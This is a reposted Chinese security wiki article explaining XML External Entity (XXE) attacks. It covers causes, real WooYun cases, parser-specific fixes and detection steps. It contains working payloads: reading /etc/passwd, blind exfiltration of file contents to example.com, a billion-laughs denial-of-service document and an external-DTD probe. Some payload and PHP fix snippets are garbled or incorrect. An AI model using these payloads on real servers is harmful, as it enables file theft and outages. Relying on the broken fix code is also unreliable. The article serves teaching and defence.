XML External Entity attack/XXE攻擊


XML External Entity attack/XXE攻擊

 

1、相關背景介紹

可擴展標記語言(eXtensible Markup Language,XML)是一種標記語言,被設計用來傳輸和存儲數據。XML應用極其廣泛,如:

  
* 普通列表項目文檔格式:OOXML,ODF,PDF,RSS……
* 圖片格式:SVG,EXIF Headers……
* 網絡協議:WebDAV,CalDAV,XMLRPC,SOAP,REST,XMPP,SAML,XACML……
* 配置文件:Spring配置文件,Struts2配置文件……

在XML 1.0標准中定義了實體的概念,實體是用於定義引用普通文本或特殊字符的快捷方式的變量,實體可在內部或外部進行聲明。

包含內部實體的XML文檔:

<?xml version="1.0" encoding="utf-8"?>   <!DOCTYPE entity [  <!ENTITY copyright "Copyright wiki.wooyun.org"> ]>   <wooyun> <internal>&copyright;</internal> </wooyun>

包含外部實體的XML文檔:

<?xml version="1.0" encoding="utf-8"?>   <!DOCTYPE entity [  <!ENTITY wiki SYSTEM "http://wiki.wooyun.org/"> ]>   <wooyun> <external>&wiki;</external> </wooyun>

在解析XML時,實體將會被替換成相應的引用內容。

XML外部實體(XML External Entity,XXE)攻擊是一種常見的Web安全漏洞,攻擊者可以通過XML的外部實體獲取服務器中本應被保護的數據。

2、成因

XML解析器解析外部實體時支持多種協議:

libxml2 PHP Java .NET
——– —————- ——– ——–
file file file file
http http http http
ftp ftp ftp ftp
  php https https
  compress.zlib jar  
  data netdoc  
  glob mailto  
  phar gopher  

如使用file協議可以讀取本地文件內容、使用http協議可以獲取Web資源等,因此攻擊者可構造惡意的外部實體,當解析器解析了包含“惡意”外部實體的XML類型文件時,便會導致被XXE攻擊。

下面這個XML被解析時便會將本地/etc/passwd文件的內容讀出來:

<?xml version="1.0" encoding="utf-8"?>   <!DOCTYPE entity [  <!ENTITY file SYSTEM "file:///etc/passwd"> ]>   <wooyun> <external>&file;</external> </wooyun>

注:如果讀取的文件本身包含“<”、“&”等字符時會產生失敗的情況,對於此類文件可以使用Base64編碼繞過,具體方法如下:

<?xml version="1.0" encoding="utf-8"?>   <!DOCTYPE entity [  <!ENTITY file SYSTEM ENTITY e SYSTEM "php://filter/read=convert.base64-encode/resource=http://wiki.wooyun.org"> ]>   <wooyun> <external>&file;</external> </wooyun>

不同的解析器可能默認對於外部實體會有不同的處理規則,以PHP語言為例,xml_parse的實現方式為expat庫,而simplexml_load使用的是libxml庫,兩個底層庫在解析的時候細節並不一樣,expat默認對外部實體並不解析,而simplexml_load默認情況下會解析外部實體等,所以simplexml_load函數會受此問題影響,而xml_parse則默認不會受到影響。下面是幾種常見語言可能會受到此問題影響的解析XML的方法:

PHP Java .NET
———— —————- ————————
DOM (待補充) System.Xml.XmlDocument
SimpleXML   System.Xml.XmlReader

3、攻擊方式及危害

XXE的攻擊方式分為顯式攻擊和盲攻擊兩種:

上述POC即為顯式攻擊,攻擊者通過正常的回顯將外部實體里的內容讀取出來。

但是,在有些情況下無法通過這種方式完成XXE攻擊,這時我們可以采取盲攻擊的辦法。

XXE盲攻擊利用參數實體將本地文件內容讀出來后,作為URL中的參數向其指定服務器發起請求,然后在其指定服務器的日志(Apache日志)中讀出文件的內容。

因在dtd中使用%來定義參數實體的方式只能在外部子集中使用,或由外部文件定義參數實體,引用到XML文件的dtd來使用,所以XML文件稍有不同:

<?xml version="1.0" encoding="utf-8"?>   <!DOCTYPE entity [  <!ENTITY % call SYSTEM "http://example.com/evil.xml"> %call; ]>   <wooyun> <text>test</text> </wooyun>

其中http://example.com/evil.xml里的內容是:

<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://example.com/?file=%file;'>"> %int; %send;

危害:

XXE漏洞會導致讀取任意未授權文件,如上述POC即可讀取服務器中的/etc/passwd文件;

因為基於樹的XML解析器會把全部加載到內存中,因此XXE漏洞也有可能被用來惡意消耗內存進行拒絕服務攻擊,例如:

<?xml version = "1.0"?>   <!DOCTYPE entity [  <!ENTITY wooyun "wooyun"> <!ELEMENT wooyunz (#PCDATA)> <!ENTITY wooyun1 "&wooyun;&wooyun;&wooyun;&wooyun;&wooyun;&wooyun;&wooyun;&wooyun;&wooyun;&wooyun;"> <!ENTITY wooyun2 "&wooyun1;&wooyun1;&wooyun1;&wooyun1;&wooyun1;&wooyun1;&wooyun1;&wooyun1;&wooyun1;&wooyun1;"> <!ENTITY wooyun3 "&wooyun2;&wooyun2;&wooyun2;&wooyun2;&wooyun2;&wooyun2;&wooyun2;&wooyun2;&wooyun2;&wooyun2;"> <!ENTITY wooyun4 "&wooyun3;&wooyun3;&wooyun3;&wooyun3;&wooyun3;&wooyun3;&wooyun3;&wooyun3;&wooyun3;&wooyun3;"> <!ENTITY wooyun5 "&wooyun4;&wooyun4;&wooyun4;&wooyun4;&wooyun4;&wooyun4;&wooyun4;&wooyun4;&wooyun4;&wooyun4;"> <!ENTITY wooyun6 "&wooyun5;&wooyun5;&wooyun5;&wooyun5;&wooyun5;&wooyun5;&wooyun5;&wooyun5;&wooyun5;&wooyun5;"> <!ENTITY wooyun7 "&wooyun6;&wooyun6;&wooyun6;&wooyun6;&wooyun6;&wooyun6;&wooyun6;&wooyun6;&wooyun6;&wooyun6;"> <!ENTITY wooyun8 "&wooyun7;&wooyun7;&wooyun7;&wooyun7;&wooyun7;&wooyun7;&wooyun7;&wooyun7;&wooyun7;&wooyun7;"> <!ENTITY wooyun9 "&wooyun8;&wooyun8;&wooyun8;&wooyun8;&wooyun8;&wooyun8;&wooyun8;&wooyun8;&wooyun8;&wooyun8;"> ]>   <wooyun>&wooyun9;</wooyun>

這個XML在定義實體是不斷嵌套調用,如解析時未對大小進行限制,則可能會導致內存大量被消耗,從而實現拒絕服務攻擊。

此外,還可以利用支持的協議構造出很多相關的攻擊,如探測內網信息(如檢測服務等)等。

4、實際案例

gainover:WooYun-2014-59783:百度某功能XML實體注入(二)

由於SVG本身是基於XML的,該漏洞在SVG轉成JPG圖片時的XML解析過程中廠商僅直接過濾了ENTITY關鍵字,但是由於DTD本身就支持調用外部的DTD文件,因此通過調用<!DOCTYPE svg SYSTEM “http://example.com/xxe.dtd”>的方式引入外部的DTD文件即成功避開了對ENTITY關鍵字的過濾,其中xxe.dtd的內容如下:

<!ENTITY test SYSTEM "file:///etc/passwd">

iv4n:WooYun-2014-74069:鮮果網RSS導入Blind XXE漏洞

該漏洞的過程是利用參數實體實現了XXE盲攻擊,在讀取本地文件后,將讀出本地文件的內容作為URL中的參數向其指定服務器發起請求,在指定服務器的Apache日志中即可看到讀出的文件內容。

五道口殺氣:WooYun-2014-59911:從開源中國的某XXE漏洞到主站shell

該漏洞在格式化xml時進行了解析且沒有對外部實體進行限制,所以產生服務器上任意文件被讀取的問題,從而導致主站的ssh用戶名和密碼泄露,被成功getshell。

5、修復方案

在默認情況下關閉內聯DTD解析(Inline DTD parsing)、外部實體、實體,使用白名單來控制允許實用的協議。

了解所使用的XML解析器是否默認解析外部實體,如果默認解析應根據實際情況進行關閉或者限制。下面給出了一些常見的關閉方法:

PHP:

對於使用SimpleXML解析XML的方法可在加載實體之前添加libxmldisableentity_loader(true);語句以進制解析外部實體。

對於使用DOM解析XML的方法可在加載實體之前添加libxmldisableentity_loader(true);語句或者使用:

<?php
// with the DOM functionality: $dom = new DOMDocument(); $dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR); ?>

對於XMLReader解析XML的方法可使用:

<?php
// with the XMLReader functionality: $doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET); ?>

Java:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);

.Net:

對於使用System.Xml.XmlReader解析XML的方法:

默認情況下,外部資源使用沒有用戶憑據的XmlUrlResolver對象進行解析。這意味着在默認情況下,可以訪問任何不需要憑據的位置。通過執行下列操作之一,可以進一步保證安全:

  • 通過將XmlReaderSettings.XmlResolver屬性設置為XmlSecureResolver對象限制XmlReader可訪問的資源。
  • 通過將XmlReaderSettings.XmlResolver屬性設置為null,不允許XmlReader打開任何外部資源。

對於利用超大的XML文檔進行拒絕服務攻擊的問題,使用XmlReader時,通過設置MaxCharactersInDocument屬性,可以限制能夠分析的文檔大小。通過設置MaxCharactersFromEntities屬性,可以限制從擴展實體中生成的字符數。

Python:

from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

6、漏洞掃描與發現

檢測XML是否被解析

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [  <!ENTITY xxe "xxe test"> ]> <root>&xxe;</root>

如果顯示了xxe test證明支持,進行第二步

是否支持外部實體:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [  <!ENTITY % xxe SYSTEM "http://192.168.5.1/xxe.xml"> %xxe; ]>

觀察自己的服務器上得access.log,如果有xxe.xml的請求,證明可以加載外部實體。

然后判斷是否有回顯,有回顯就直接加載外部實體來進行攻擊

不能回顯,則使用Blind XXE攻擊方法

7、相關其他安全問題

未知

8、相關資源


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM